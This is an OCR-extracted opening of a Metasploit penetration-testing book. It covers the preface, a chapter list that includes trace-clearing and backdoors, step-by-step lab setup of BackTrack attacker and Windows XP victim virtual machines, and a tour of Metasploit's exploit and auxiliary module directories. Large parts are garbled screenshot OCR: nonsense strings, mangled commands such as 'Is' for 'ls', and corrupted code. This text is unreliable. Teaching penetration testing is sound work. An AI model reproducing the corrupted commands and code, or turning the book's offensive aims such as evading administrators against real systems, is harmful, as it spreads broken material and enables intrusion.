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Preface

Learning Metasploit Exploitation and Development is a guide to real-world network
hacking with the best tricks to master the art of exploitation.

This book has been designed in well-defined stages to facilitate effective learning.
From the actual setup to vulnerability assessment, and finally exploitation, this book
gives in-depth knowledge of penetration testing. The book deals with vulnerability
assessment exercises with some of the industrially-used tools and report making
tips. It covers the topics of client exploitation, backdoors, post-exploitation, and also
exploit development with Metasploit.

This book has been developed keeping in mind a practical hands-on approach so
that readers can effectively try and test what they actually read. We are confident
this book will prove to be effective in helping you develop the skills of an offensive
penetration tester.

What this book covers

Chapter 1, Lab Setup, covers the complete lab setup required during the course of
the book.

Chapter 2, Metasploit Framework Organization, covers the organization of the
Metasploit Framework, which includes the various interfaces and the architecture of
the Metasploit Framework.

Chapter 3, Exploitation Basics, covers the concepts of vulnerability, payloads, and the
basics of exploitation. We will also learn how to compromise vulnerable systems
using various exploitation techniques through Metasploit.

Chapter 4, Meterpreter Basics, covers how a user compromises a system through
the meterpreter and what types of information he may be able to extract using the
meterpreter functionalities after exploitation.
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Chapter 5, Vulnerability Scanning and Information Gathering, covers various techniques
of information gathering about a victim using the modules of Metasploit.

Chapter 6, Client-side Exploitation, covers the various techniques of client-side
exploitation through Metasploit.

Chapter 7, Post Exploitation, covers the first phase of post-exploitation and discusses
various information-gathering techniques of the compromised system through
the meterpreter.

Chapter 8, Post Exploitation - Privilege Escalation, covers the various techniques of
elevating privileges after compromising a system. We will use various scripts and
post-exploitation modules to achieve this task.

Chapter 9, Post Exploitation - Cleaning Up Traces, covers the various techniques of
clearing our tracks after compromising a system and avoiding being caught by
the system administrator.

Chapter 10, Post Exploitation — Backdoors, covers how to make a backdoor executable
deploy at the compromised system for a persistent connection.

Chapter 11, Post Exploitation - Pivoting and Network Sniffing, covers the various
techniques through which we can leverage our point of contact server/system on the
external network and leverage it to exploit the other systems on a different network.

Chapter 12, Exploit Research with Metasploit, covers the basics of exploit development
using Metasploit, crafting exploits with Metasploit and using various payloads for
the exploits.

Chapter 13, Using Social Engineering Toolkit and Armitage, covers how to use the add-
on tools to the Metasploit Framework and further enhance our skills of exploitation.

What you need for this book

The software required to practice hands-on along with this book are BackTrack
R2/R3, Windows XP SP2, and Virtual Box.

Who this book is for

This book is for security professionals interested in network exploitation and
hacking. This guide is featured with chapters to develop the skills of an industrial
penetration tester for testing industrial networks.

[2]
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Conventions

In this book, you will find a number of styles of text that distinguish between
different kinds of information. Here are some examples of these styles, and an
explanation of their meaning.

Code words in text are shown as follows: "The important directories get listed which
are data, external, tools, plugins, and scripts."

New terms and important words are shown in bold. Words that you see on the
screen, in menus or dialog boxes for example, appear in the text like this: "If we want
to configure our network settings manually, we can select Custom settings and then
click on Next >".

% Warnings or important notes appear in a box like this.
s

a1

~Q Tips and tricks appear like this.

Reader feedback

Feedback from our readers is always welcome. Let us know what you think about
this book —what you liked or may have disliked. Reader feedback is important for us
to develop titles that you really get the most out of.

To send us general feedback, simply send an e-mail to feedback@packtpub.com,
and mention the book title via the subject of your message.

If there is a topic that you have expertise in and you are interested in either writing or
contributing to a book, see our author guide on www . packtpub . com/authors.

Customer support

Now that you are the proud owner of a Packt book, we have a number of things to
help you to get the most from your purchase.

[3]
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Errata

Although we have taken every care to ensure the accuracy of our content, mistakes do
happen. If you find a mistake in one of our books —maybe a mistake in the text or the
code —we would be grateful if you would report this to us. By doing so, you can save
other readers from frustration and help us improve subsequent versions of this book.
If you find any errata, please report them by visiting http://www.packtpub.com/
submit-errata, selecting your book, clicking on the errata submission form link,
and entering the details of your errata. Once your errata are verified, your submission
will be accepted and the errata will be uploaded on our website, or added to any list
of existing errata, under the Errata section of that title. Any existing errata can be
viewed by selecting your title from http://www.packtpub.com/support.

Piracy

Piracy of copyright material on the Internet is an ongoing problem across all media.
At Packt, we take the protection of our copyright and licenses very seriously. If you
come across any illegal copies of our works, in any form, on the Internet, please
provide us with the location address or website name immediately so that we can
pursue a remedy.

Please contact us at copyright@packtpub.com with a link to the suspected
pirated material.

We appreciate your help in protecting our authors, and our ability to bring you
valuable content.

Questions

You can contact us at questions@packtpub.com if you are having a problem with
any aspect of the book, and we will do our best to address it.

[4]
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Lab Setup

In this chapter we are going to demonstrate the complete lab setup needed for the
practical, hands-on working experience with this book. To set up the lab we need
three things: Oracle VM VirtualBox, Microsoft Windows XP SP2, and BackTrack 5 R2.

Oracle VM VirtualBox is a product of Sun Microsystems. It is a software
virtualization application and is used for running multiple operating systems on a
single computer. It supports many operating systems including Linux, Macintosh,
Sun Solaris, BSD, and OS/2. Each virtual machine can execute its own operating
system in parallel with the host operating system. It also supports Network adapters,
USB devices, and Physical disk drives within a virtual machine.

Microsoft Windows XP is an operating system produced by the Microsoft
Corporation. It is primarily used for personal computers and laptops.

BackTrack is a Linux-based freeware operating system. It is widely used by security
professionals and penetration testers. It consists of a lot of open source tools for
penetration testing and digital forensics.

Now we will install both operating systems in Oracle VM VirtualBox, and use
BackTrack as an attacker machine and Windows XP as the victim machine.
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Installing Oracle VM VirtualBox

The steps for installing Oracle VM VirtualBox are:

1. First, run the setup file to start the installation procedure and then click
on Next >.

Welcome to the Oracle VM
VirtualBox 4.1.8 Setup Wizard

. Qi The Zetud Wicard vl mstall Ordde VM VrtusBo 4. 1.8 o0

your computer, Chck Mext to-conbnue or Cancel to exit the

Sxtup Wimard.

2. Now choose the installation directory where you want to install and click
on Next >.

(6]
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Custom Setup
Seinct the wiry i W featred o be mataled.

Chck o e icona in the Wee bele 15 charge B vy e unes il b ingtalod. I

= Brade VM VirtusBiox 4. 1.8
= | Voriusox LSS Suppor appkoabon.
- = | vriuaBax MNeteorkang

__ - -l m"{ Thia feabure requires 111MA o0
= youn hard drive. 1ihas Yol 3
e | WmBox Python Zu S| gubfeptures sescted. The
mbfesiires nequire 5338 on ...

b m W

locamone  CxWrogram Fies \OraceiriusBe, m n

verncn 418 | Dk Usage ; Mext> | | Concel |l

Select the shortcut option if you want to create a shortcut icon on the desktop
or in the launch bar and then click on Next >.

It will then reset the network connectivity and display a warning sign; click
on Yes and continue the installation of the wizard.

Warming:

Netwaork Interfaces

Irstnling the Orade o WrhaslBox 4. 18 Hetrordong feates

Prodind Wil PRRMNDON Mg
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5. The setup wizard is ready for the installation, click on Install to continue.

The Setun Vimerd @ resdy e g B nainleiee.

Gk [l 10 begn e retalabon, IF you ward Bo eevew o Change any of your
witalassn issrg, dobk Bad. Ohsh Carcl 19 awd Tl wibard.

6. The setup has started the installation and it will take several minutes
to complete.

7. Now it will ask to install the USB device driver, click on Install to install the
driver software.

Would you like 1o install this device software?

Mame Oracle Corporaticen Linevarsal Sonal Bus -
Publzgher Cracle Camporaticn
=

| - Abweirys truiit schwise from “Cracle € . lmgall | | Dentinsal |

W Yoo should only ingtall driver poftware Irom publishers yoo trart. Hae can | decide
ﬂhl'llltﬂl l:ll“.:" .d:J:..I ||!|

(el
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8. After a few minutes the installation wizard is finished and Oracle VM
VirtualBox is ready for use. Click on Finish.

Oracle VM VirtualBox 4.1.8
installation is complete.

Chekt e Fnah button o exit e Sebup Witard

4 Start Cracle v WirtuaBen 4, 1.5 afer irgtalabon

VerEan 4. 1.8 ${_ Finish |
L S

(o]
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Installing WindowsXP on Oracle
VM VirtualBox

Now we are going to install Windows XP SP2 in VirtualBox. Just perform the
following steps for successful installation:

1. First, launch your VirtualBox and click on New.

T gt oWl Mt ) MACTPRRDE P DT Tl S Seppagn whpen e wodd ‘
artd T REfre i ST 7 wiu = i 1 DR T ROTEEly Pt

Rurtes srov openng 1)
lpers | WARL OO | YutiistBao I Windoea P SPJ WSkl SPL vl T
gl - M0 i et )

E_FRIL (BeBdSid4adm
Vet
ForiunBion 2Bl if- Ll -8 1] srbCrsd |Serddi]

Cimirbd i i vortusl suching

2. You will get a new window with the message Welcome to the New Virtual
Machine Wizard; click on Next.

3. You will get a new window showing memory options, here we will need to
specify the amount of base memory (RAM) for our virtual machine. Select
the amount of memory and then click on Next.

[10]
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KoF Creste tiew Virtusl Machine  m—n" i S——

tMemory

Select the amount of base mescry FLAM] n megabyies 1o be alocated b e vrivsl madhes,
The recommended hase mesory size 5 193 ME.
Biae Memory Soe

408 55 M

4. After this we will get a new window with the option to create a virtual hard
disk. Here we will select Create new hard disk and click on Next.

O

@ Create Hew Virtusl Machine —— E—

Virtual Hard Disk

1¥ wou wish you can now add 8 start-up dek i the new maching, You can efther create & new wirtual disk or select
one from the kit or from snother location Lsng the folder icon.

1 e e & more complen oriuinl chak 98D vou C80 Sk the siep and make the changes 1o the mazhine selbng
once the miching i oeated,

The recsemencied sire of the start-up dek s 10.00 GB.
! sawreigp Dk
& Create new hard dish
Ui goos bng hard sl

sk

e
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5. We then get a new window with the message Welcome to the Virtual disk
creation wizard. Here we have some options for the hard disk file type; we
select VDI (VirtualBox Disk Image). You may select another type of file, but
VDI is recommended for best performance. After selecting the file type, click
on Next.

(==

r Create Mea Vil Disk

Welcome to the virtual disk création wizard

Ths welfid will bl pind U5 Crnadi & Nl o Bl el Mo e i bl et

Lz the Mext butior i g5 3 the ret page of Be woed o the Back butisr f2 s 1o B prevous page . o 30 Mo |

press Cancelif you want b3 cancs the easouton of s sead

P chooie e troe of fie Bl viu wouig e 10 upe tor e v ortusl dek 17 wou G0 Mol reed D sl it el O
il Pt Afhade (ol i il T S 1IN unchanged

Fae Type

2 W01 [eraBen Duk [rage]
WD, (i anl Machine Dk
WD [ bl i Dt

HED P sty Sl Disi’

6. We then see a new window named Virtual disk storage details. In this
window we can see details of the two types of storage: Dynamically allocated
and Fixed size. The details of these two types of storage are mentioned in this
window. So it depends upon the user as to what kind of storage he may prefer.
In this case we will select Dynamically allocated; click on Next to continue.

[12]
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Ko Craste biew Virtusl Duk

Wirtud desk stormge details

Flpans Scot wiutr S oy eriusl e B ahould b aliscited ag @ ueed & 2 SSuid B fribdted Billy lscibed

& allocated virtusl dgb e wil only uee speoe on yewr phywcsl hard doi s i1 fils D, Sitough it el net |
Sl g e boaly v e o L d P ied

A Poctd GRS vl S PLE ly TREE St 18 SRR B B A Bl o P TR 1S sl
Smvage delni
@ Dyrmcaly alsoitied
Eand il

S

7. Now we will get a new window with options for the Location and Size of the
virtual disk file. We choose the location where we want to create the file for
the virtual disk. After that, select the size for your virtual disk. In this case we
are specifying 10 GB space for virtual disk. Then click on Next to continue.

L F ]
Kb Crests hiew Vieeusl Disk -

Yirtual disk file location and size

P Dot Bhe v & P v il ool Ml 12 The Do Dt & S 00 Thee Pt 0 12 il B T ) ol 12
edle i S

spIplon

Wirdma 51 e

Cmipct P gire oF the vwiual dsk 0 megabytes, Ths sae sl be réporied o e Guest 05 83 e mawmur woe of e wrsl
=

£

=R elr ]

=
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8. We then get a new window with the summary of our virtual machine
settings. In this window we can check the settings we previously provided
for our virtual machine, such as the file type of our hard disk, storage details,

location details, and the size of our hard disk. After checking the settings we
then click Create.

Y ]

Q Cooate Mo Virtusl Dizk

Summary

| o Aew Do (o create 0 new viriual digl with e folowing paremetens:

e typed WDT (v tualBoo Desic Imaoe

Deiais:  Dynaewialy MoCyind siorage

Locabor C; ' WsersWWARL OCX rbunSlas Vg WindawaaiP 580 TWindoass P2
S 10.00 GB (10718040 F)

L=

iF the above setirgs ore Coeresct, prew the Creale bution. Dnce voul pres i the new veriual disic flg wall be created,

|-_—l'>m... —

9. We get the Summary window which will show us that it is going to create
our virtual machine with the following parameters: name of the virtual
machine, type of operating system, base memory (RAM), and the size of

the hard disk. After verifying all of the settings, click on Create to create the
virtual machine.

10. Now Oracle VM VirtualBox Manager will open, and it will show the virtual

machine in the right pane. Select that virtual machine and click on Start to
start the installation process for Windows XP.

[14]
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ant Qe BinSsenDvidaurd

Comralar: |04 ACHT

P Btk 4
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11. A new window will appear with the message Welcome to the First Run
Wizard! Click on Next to begin.

Welcome 1o 1he Firil Run Wikard!

Fos P e uply ] ot repdicy S the et . Thay mctens’ wil el ey 2 pecform B rtaoe
ey for PRI B o IR Byries of vour Chaor onto e bl machee

Lt P Bt Bortton b 02 0 S rotr® Dl 8F I e el e et Pufian 0 el B0 N Dot PR
Touy e iipd preai Candelif you wanl 5 tincel fhe eveolen of Fu eiged
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12. Now a new window will appear with the option of selecting the source
installation media. This option allows us to select the ISO image of
Windows XP or the DVD-ROM drive to install from the CD/DVD. Select the
appropriate option and then click on Next.

Select Insrallation Medua

BT T midkl mha Gt ThE SR Drodries of B GDErI Sl v vt 1 el Thl rebda S
b beolebie, oS the MLS progres el ot B atle B slart

Lt 0 - Fn ]

e - 3

13. A new Summary window will open and it will show the type of media that
was selected for installation, the media source, and the type of device. Click
on Start.

SuUmmany

Toi Baem gedmcad e Sallfvennd mada i boot o

I Toptt  CDYDWVD-ROM Dericn
‘ Souroe: Windtwg't! TP g (506, 58 MED

[f the pibcve = cowmen, press T Finigh butmn. Onoe pou presp i, the sBecmed mess wil be emporany
RO O M VrTLS MBI A0 A mATINE Al 1T SR ELIDON

Pt Pyt W] wihetry piu Sombe the v tull madwe, the sosafed e wll be satnibaaly urrmdunbed and
thee boct dhervnce will be et back o e fsthard dish

Deperdrg o e Tepe oF the S8 hud Drogim, you filly Peil 1o miruiilly urmsunl (S8t Bhe midks afie the
e g rogeem neboa b The v el madhre, o prevend the e balabon prodess: from st ng agaen. Tow G da
tes by messcing the cormesponding Linmmeosumit_ #9500 i e Dewses mer.
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14. Windows XP installation will start and a blue screen appears with the
message Windows Setup on the upper-left side.

15. Now we will get a new window with the message Welcome to setup. Here
we can see three options, the first option is To set up Windows XP now,
press ENTER.

Il (=) 7 0D G el e

[17]
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16. We will then be prompted to agree to the Windows XP license; press F8
to accept.

17. After accepting the agreement we will see the unpartitioned space dialog. We
will need to create partitions from this unpartitioned space. Select the second
option To create partition in the unpartitioned space, press C.

AT I i I i W - 0 B

| _lUnpartitiened space ________________dHi? AB___________________ |
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18. After pressing C, the next step is to set the size of the new partition and then
press Enter.
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WOFF 0 D Ewrcn

19. After creating the new partition, we can now see three options here; select
the first option To set up Windows XP on the selected item, press ENTER
to continue.
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20. Now we have to format the selected partition before continuing the
installation process. Here we see four options for formatting and select
the first option which is Format the partition using the NTFS file system
(Quick) and press Enter.

Farmat Ehn partiline weing the RIFE Fils spsben [Qilckd
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22. After formatting the partition, the setup will copy the Windows files.

Py Llmy
BES S0 @ Elawec

23. After copying the Windows files it will restart your virtual machine after 10
seconds, or press ENTER for immediate restart.

[21]
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24. After restarting the virtual machine you will see the Windows XP boot screen.

25. The Windows installation process will start and will take approximately 40
minutes to complete.

26. Now a new window will appear for Regional and language Options, just
click on Next >.
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27. After that a new window will appear asking for your Name and
Organization name; enter these details and click on Next >.
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28. A new window will appear asking for the Product Key; enter the key and
click on Next >.
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29. The next wizard will ask for a Computer name and Administrator
password, enter these details and click on Next >.
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30. This will be followed by a screen to enter the date, time, and time zone
settings. Select the time zone according to your country, enter the date and
time, and then click on Next >.
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32. A new window will prompt us to choose the network settings. Select Typical
settings. If we want to configure our network settings manually, we can
select Custom settings and then click on Next >.
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33. The wizard will ask if we want to make the computer a member of the

workgroup or domain. For our lab we select WORKGROUP and click
on Next >.
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34. We will then see the Windows XP boot screen.

35. After Windows XP has booted, we will see a message Welcome to Microsoft
Windows. To continue, click on Next.

s & Windows

Welcome to Microsoft Windows

36. The wizard will ask us whether or not to turn on the automatic updates.
Make the selection according to your preference and then click on Next.
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37. The next wizard will ask about internet connectivity; we suggest you skip it
by clicking on Skip.

‘# Windows

Will this computer connect to the Internet
directly, or through a network?
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38. Now the wizard will ask about online registration; we do not want to
register, so we select the second option and click on Next.
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fw Windows

Heady to register with Microsoft?
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39. Next the wizard will ask for the usernames of the people who will use this
computer. Enter the names and click on Next.

‘e Windows

Who will use this computer?
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40. You will see a Thank You message; click on Finish.

41. Now your Windows XP installation is ready for use.
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Installing BackTrack5 R2 on Oracle

VM Virtual Box

Now we are going to install BackTrack 5 R2 on Virtual Box. Perform the

following steps:

1. First, launch your Oracle VM Virtual Box.
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2. A new window will appear with the message Welcome to the New Virtual
Machine Wizard; click on Next.
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3. We follow the same process which we followed during our Windows XP
virtual machine creation for the BackTrack virtual machine setup. Our
BackTrack machine will be set up and the summary displayed as shown in
the following screenshot. Click on Create:
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4. Now Oracle VM VirtualBox Manager will open and will show the new
virtual machine in the right pane. Select that virtual machine and click on
Start to start the installation process of BackTrack 5.

il g
= Camerad
i = L

o e o F e
] Sy
e i BackTracks R2

LIS A bl

L gty
e T i
g Dy s ow Do

[ i

T8 [
B T y i TRDT T

LN P

BEEFF Friech ] B o Magremd BTG
- e

e L LT

Lol [ICH ST

fhert Sru iEmche srhul TR

[32]



Chapter 1

5. A new window will appear with the message Welcome to the First Run
Wizard!; click on Next to begin.
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6. A new window will appear with options for selecting source installation
media. Select the ISO image of BackTrack 5 or the DVD Rom drive to install

from CD/DVD, and then click on Next.
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7. A new Summary window will open, and it will show the type of media that
was selected for installation, the media source, and the type of device; now

click on Start.
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8. We will see a black boot screen; just press Enter.
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9. The BackTrack boot screen with a command-line interface will appear,
showing the prompt: root@bt:~#; type startx as the value of this command

and press Enter.
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10. Now the BackTrack GUI interface will start and we will see an icon named
Install BackTrack. We will have to click on that icon to continue the
installation process.

ce back | track [=

11. After that, the installation wizard will start. Select the language and
click on Forward.
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12. The installation wizard will automatically set the time from the network
time server.

13. Select the Time Zone and Region, and click on Forward.

14. The next wizard will ask for the Keyboard layout. Select the appropriate
layout according to your language and click on Forward.

[37]
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15. The disk partition wizard will appear. Just use the default settings and click
on Forward.
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17. The setup will start copying files. It will take approximately 40 minutes to
complete the installation.

18. After finishing the installation, just click on Restart, and now the BackTrack
installation is ready for use.
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Summary

In this lab setup we have set up the victim and attacker machines, which we will
use for our practical sessions. The next chapter will cover the Metasploit framework
organization, the basics, architecture, and a brief introduction to it.

[40]



Metasploit Framework
Organization

In this chapter we will investigate the organization of Metasploit Framework.
Metasploit Framework is an open source project created by HD Moore in 2003, and
then acquired by Rapid7 LLC on October 21, 2009. Metasploit 2.0 was released in
April 2004 and this version included 19 exploits with over 27 payloads. There has
been constant development since then and now we have Metasploit 4.5.2, which
includes hundreds of exploits and payloads. Moore created this framework for exploit
code development and attacking vulnerable remote systems. It is considered one of
the best penetration testing tools with support for vulnerability assessment using
Nessus and other famous tools. The development of this project started off in Perl
and was later rewritten in Ruby. Since its acquisition, Rapid7 has added two more
proprietary editions known as Metasploit Express and Metasploit Pro. Metasploit
supports all platforms including Windows, Linux, and Mac OS.
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Metasploit interfaces and basics

First we will see how to access Metasploit Framework from terminal and in other
ways. Open your terminal and type in msfconsole. In the terminal it will appear
as root@bt:~# msfconsole.

tibt :~# msfconsol

Now we have opened msfconsole from the terminal program; however there are
other ways in which we can access Metasploit Framework, these include MsfGUI,
Msfconsole, Msfcli, Msfweb, Metasploit Pro, and Armitage. For our purposes, in this
book we will use msfconsole for the most part.

Metasploit Interfaces

- L — .
BsHGLI Mszlconsole
i L T el i
PRy ] :
bdsfweh Metasploit Pro Armitage

So how is Metasploit really organized? We can see many interfaces here. We
will look at details of the architecture as we dig deeper into the various aspects
of Metasploit. Now the important thing we need to understand is the overall
architecture. The architecture is open source, and this allows you to create your
own modules, scripts, and many other interesting things in Metasploit.
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The library architecture in Metasploit is as follows:

* Rex: This is the basic library used in Metasploit for various protocols,
transformations, and socket handling. It supports SSL, SMB, HTTP, XOR,
Base64, and random text.

* Msf::Core: This library defines the framework and provides the basic
application interface for Metasploit.

* Msf::Base: This library provides a simplified and friendly application
interface for the Metasploit Framework.

LIBRARIES + INTERFACES

Rax ' Conzole

+
! CLI

MSF Core

PLUGINS =~ MSF Base F Ul

MODULES

Wiab

Pnylu.'.ldr. ‘E:n:plnil'_-'. Encodors Hl‘.rps

Now we will explore the Metasploit directory a little more. Just follow these steps to
explore the directory:

1. Open your BackTrack5 R2 virtual machine and your terminal. Type
cd /opt/metasploit/msf3 and then press Enter. Now we have entered
the Metasploit Framework directory. To view the list of files and directories
in the Metasploit directory type in Is.

L= DLGE
t/opt/metasploit /esfil 15
HACKING
Lib

fdocimentation modoles plugins
| gitarnal SCripTs
| t: /opt/metasploit/msfaw []
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2. After typing the Is command we can see a bunch of directories and scripts
here. The important directories listed are data, external, tools, plugins,
and scripts.

We will explore all of these important directories one-by-one:

* We enter the data directory by typing the command cd data/. This
directory contains a lot of helper modules such as meterpreter, exploits,
wordlists, templates, and many more.

otibt:-# cd fopt/metasploit/msf3
root@ibts fopt/metasploit/msfie s
HACKING
data Lib
fdocumentation modules plugins
external scripts

t:fopt/metasploit/msfie cd data/ I

tEht: fopt/metasploit /mefisdatal [o
gui metfWIreter snmp
Lpian mefcrawler sounds AT
msfpascan sql wordlists
java passivex sVn
jokn php templates
Lab post
imetasploit/msid/data# |

° Next we will explore the meterpreter directory. To enter the
directory, type in cd meterpreter/ and we will see many .dl1 files.
Actually it contains .dl1 files as well as other interesting things,
which are typically required to enable the Meterpreter functionality
called post exploitation. As an example we can see different types of
DLL files here, such as OLE, Java version, PHP version, and so on.
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root@bt: fopt/metasploit/msTi/dataf cd meterpreter/
root@bt: /opt/metasploit/msfi/data/meterpreter# Ls

root@bt: /opt/metasploit/msf3/data/meterpreter# ||

Another directory is the wordlist directory in the data directory.
This directory contains the list of usernames and passwords for
different services such as HTTP, Oracle, Postgres, VNC, SNMP, and
more. Let us explore the wordlist directory, type in cd .. and press
Enter to get back into the data directory from the meterpreter
directory. After that, type in cd wordlists and press Enter.

[45]
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bt:/opt/metasploit/msf3/data/m

N LK
opt /me Lt/ Jda cd wordlists
5

tobt: fopt/metasploit/msf3/datas/wordlists# [j

* Another interesting directory is external in ms¥3, which contains external
libraries used by Metasploit. Let us explore the external directory by
typing cd external.

fopt/metasploit/msfiE 1s
medules
data f
documentation
external
plugins

i ripts
ibt: fopt/metasploit/msf3f Eﬂ extttnﬁll
rooti@bt; /opt/metasploit/msf3/externaly 15<: |
Jourp-proxy ruby-kissfft ruby-lorconz sou
pcaprub ruby-lercon serialport
rootight: /fopt/metasplolt/msf3/external¥ D

[46]



Chapter 2

Then have a look at the scripts directory, which is contained in the msf3
directory. This directory contains a lot of scripts that are used by Metasploit.
To enter the scripts directory type in cd scripts and then type in the Is
command to view the list of files and folders.

root@bt: /opt/metasploit/esf3é 1s
modules !

data
documantation

plugins
I scripts
matasploit '".Ti'l#
metasplolit/msfl/scriptss i(ﬂ:
meterpreter ps resource shell
root@bt:/opt/metasploit/msf3/scripts# [

Another important directory in msf3 is the tools directory. This directory
contains tools to be used in exploitation. We will explore the tools directory
by typing in cd tools and then the Is command to see the list of tools such
as pattern_create.rb and pattern_offset.rb, which are extremely
useful for exploit research.

vt s fopt /eetasplolt /mef 3
bt:fopt/eetasploit/msf3/tools# Ls

nemd unp

t:/opt/metasplolt/msi3/toolss ||
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* The last useful directory is plugins in the ms¥3 directory. The plugins
directory contains plugins for integrating third-party tools such as nessus
plugins, nexpose plugins, wmap plugins, and other plugins with Metasploit.
Let us have a look at the plugins directory by typing cd plugins and then
the I's command to see the list of plugins.

otEbt: fopt /metasplolit/msf3/pluginsy 1§ ]
alias.rb lab.rb session tagger.rb

auto add route.rb msfd.rb socket logger.rb
db credcollect.rb msgrpc.rb sounds. rb
db tracker.rb nessus.ro thread, rb

editor.rb nexpose.rb  token adduser.rb
event tester.rb openvas.rb  token hunter.rb
ffautoregen. rb pcap log.rb  wmap.rb

ips filter.rb sample.rb

root@bt: fopt/metasploit/msf3/pluginse

From the preceding explanation, we now have a brief understanding of the

directory structure of Metasploit and its functions. One important thing is to update
Metasploit to have the latest versions of the exploits. Open your terminal and type in
msfupdate. It may take a few hours to update the latest modules.
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Exploit modules

Before moving to the exploitation techniques, first we should understand the basic
concepts of an exploit. An exploit is a computer program that takes advantage of a
particular vulnerability.

Now look at the exploit modules in the modules directory of msf3. Open your
terminal and type in cd /opt/metasploit/msf3/modules/exploits followed by
the Is command to see the list of exploits.

bt S [ [ [ M AE0 L B pLige ) 5
rootébt: fopt/metasploit/msf3/modules /exploits# 1
aix dialup  hpux linux netware solaris windows

bsdi Treebsd irix sulti osx umix
rootBbt: fopt/metasploit/mst3 /modules fexplolits# l

Here we can see the list of exploit modules. Basically exploits are categorized on the
basis of operating systems. So let us look at the windows directory of exploit modules
by typing cd windows.

roatibt i fopt/metasploit/msf3/modules exploitse
root@bt: fopt/metasploit /msfl/ modules /exploits /windowse 1S |
antivirus fileformat lotus oracle telnet

Arkeia firewall Lpd pop3d titp

BACkKdoor ftp misc postgres URlcentTer
DACKUPpEXEL QamEs a4 proxy VAE

brightstor htip motorola scada vpn

115§ mssql sip wins
imap mysql smhb
driver 15ap1 nts SHtp
email Ldap nntp $ih
RmC license novell 55l
roatibt: fopt/metasplolt/msf3/modulas fexploits fwindowse I
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In the windows directory we can see a lot of exploit modules which are categorized
according to the Windows services such as ftp, smb, telnet, browser, email, and
more. Here we will show you one type of service exploit by exploring a directory.
As an example we select smb.

@bt fopt/metasplodit/msf3/modules /exploits fwindowsd 5
it : fopt/metasploit/msf3/modules fexploits /windows / smb# 1.ﬁ<]:
netapi.rb 506 870 wkssvo.rb
killbill.rb ns07 029 msdns ronename,rb
lsass.rb ns88 8667 netapl.rb
netdde. rb m509 050 smb2 negotiate Tunc_index.rb
prip.rb nslé BE1 spoolss.rb

rasmans reg.rb netidentity xtierrpcpipe.rb
rras.rb piexec.rb
netapi.rb smb relay.rb
maapi.rb timbuktu plughntconmand bof,rb
: mwwks . rb
bt:/opt/metasplodt/msf3/modules fexplolts fwindows /smba I

We see the list of smb service exploits which are basically Ruby scripts. So to view the
code of any exploit we type in cat <exploitname>. As an example here we select
ms08_067_netapi.rb. So we type in cat ms08_067_netapi .rb.

t:/opt/metasploit/msf3/modules /exploits /windows /smb 15<}j
netapl.rh msB6 BTO whkssve.rb

Killbill.rb B587 629 msdns rone . rh
1555 1o mm
netdde.rb ms09 85%0 smbl negotl ¢ imdex, rb

pnp.rb mslG 961 spoolss.rb

FALEANS M8g.rd netldentity xtierrpoplipe. rb

rras.rh psexed. rhy

netapi.rb sab relay.rb

nwapl . ro timbuktu plughntcommand bof.rb

Minikg . b
Jopt /metasplolt /marl /modules /explolts /windows /ambit I{ﬂ.t mi3E Q67 netapl. r!:.-t -

Similarly, we can explore all types of exploits according to the operating systems
and their services.
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Auxiliary modules

Auxiliary modules are exploits without payload. They are used for a variety of

tasks such as port scanning, fingerprinting, service scanners, and more. There are
different types of auxiliary modules such as scanners for protocols, Network protocol
fuzzers, Port scanner modules, wireless, Denial of Service modules, Server modules,

Administrative access exploits, and so on.

Now let us explore the auxiliary modules directory under the msf directory. Type cd
/opt/metasploit/msf3/modules/auxiliary and then the Is command to view the

list of auxiliary modules.

rootit Jopt/metasplolt/ns ules/auxiliary

rootabt: /opt/metasploit/msf3/modules /auxiliarys [

rooti@bt: fopt /metasplolt,/msTI /modules fauxiliarys L5<€ |
admin client fuzzers scanner spoof wspleolt
analyze crawler gather server sqli

bnat oos pat snitfer wolp

Here we can see the list of auxiliary modules such as admin, client, fuzzers,
scanner, vsploit, and more. Now we will explore the scanner directory as an

auxiliary module.

t:/opt/metasplolit /asf3/modules /auxiliary# 1s
bnat crawler fuzzers pdf SErver

client dos gather |5¢aunfr |1n1f[ﬁr

:fnpt-mftaqplait-:Efzsnﬂduiesfﬁuxlilary#!td Scanner
sfopt/metasploit/msf3/modules /auxiliary /st r

ftp motorola

telnet
tftp

oracle sap
pcanywhere sip
pop3 smb dpnp
partscan sEtp Wit re
postgres snap 1
lotus nfs rogue ssh voice
misc ntp rservices telephony
wotpbt: /opt/metasploit/esf3/modules/auxiliary/scanner# |J

h323 mssql
http mysgl
imap natpap

ip nethios

tpoof

sgli  wsploit

VIWorks

volp
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In the scanner directory we will see modules that are categorized according to the
service scans. We can select any service module for exploration. Here we will select
ftp as the scanner module.

asplelt /el /nodules fauni]l lary/ scanners® 15
sotorals aracle sap telnet
masql peanywhere sdp tftp

http =y L pepd smb upnp
1map nal prp portucan smip VEEATE
1p netblos pestgres 5 BER 1] 0

lotus &fs =[] 15 h velEe
| EE 7 ntp FEErYloes I:t'lt-||h'\-||, V0T
rfopt/mrtasplelt/mefd/modules Al lary .-.ﬂrllrll‘
«fopt/matasplolt fen fY inodules faucil iary/scanner / TE5
angrymous. rb ftp loginord  fip wersion.rb
stght s fopt/metasplelt reefl snodeles fauci] Llary fscamner/ Fips I

In the ftp directory we can see three Ruby scripts. To view the exploit Ruby code just
type in cat <module name>; for example, here we would type cat anonymous.rb.

Limetasplalt /el /madules  auil lary /scanner /113

fep legin.rs  ftp verslon.rb

'¢»' sxfanplalt et/ eadules auniLisry ‘seanser /I pl| oot anorymoys, rh

§1d: angeoymous.rb J47T4 2003-02-31 00:42: 17T raplad §

This Tile iy part of the HMetasploit Frasework and may Be jubject to

redistribution and coemercisl restrictions. Please see fhe Metasplolt

wel site Tor sere informatlios on Licemilng and termd of ule,
Btip://metasplolt. conf

require ‘msf/core

class Metasplofed < Mef:rdunil lary

fmglude Mafc-Eiplaitl:-Mesote: iFtp
Anclud® MET:chual | Lary s SCanner
imclude Mef - huxlliary: (Regary

def initialise
superi
Nine Argeyeows FTP Access Detection’,
"weriion’ ‘$Revision; R4774 &7,
"DERLFLpTLIAN" HTECT ANARYEIUL | PEMDSEPLTE] FTR RErWErR BICEEY.C.
Mfurtn]rﬁ
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Payloads — in-depth

A payload is a piece of software that runs after a system is compromised. The
payload is typically attached to and delivered with an exploit. There are three
different types of payloads in Metasploit, which are singles, stagers, and stages.
The main role of Stages payloads is that they use tiny stagers to fit into small
exploitation spaces. During exploitation, an exploit developer has a very limited
amount of memory that he can play with. The stagers use this space and their work
is to pull down the rest of the staged payload. On the other hand, singles are self-
contained and completely standalone. It is as simple as running a small executable.

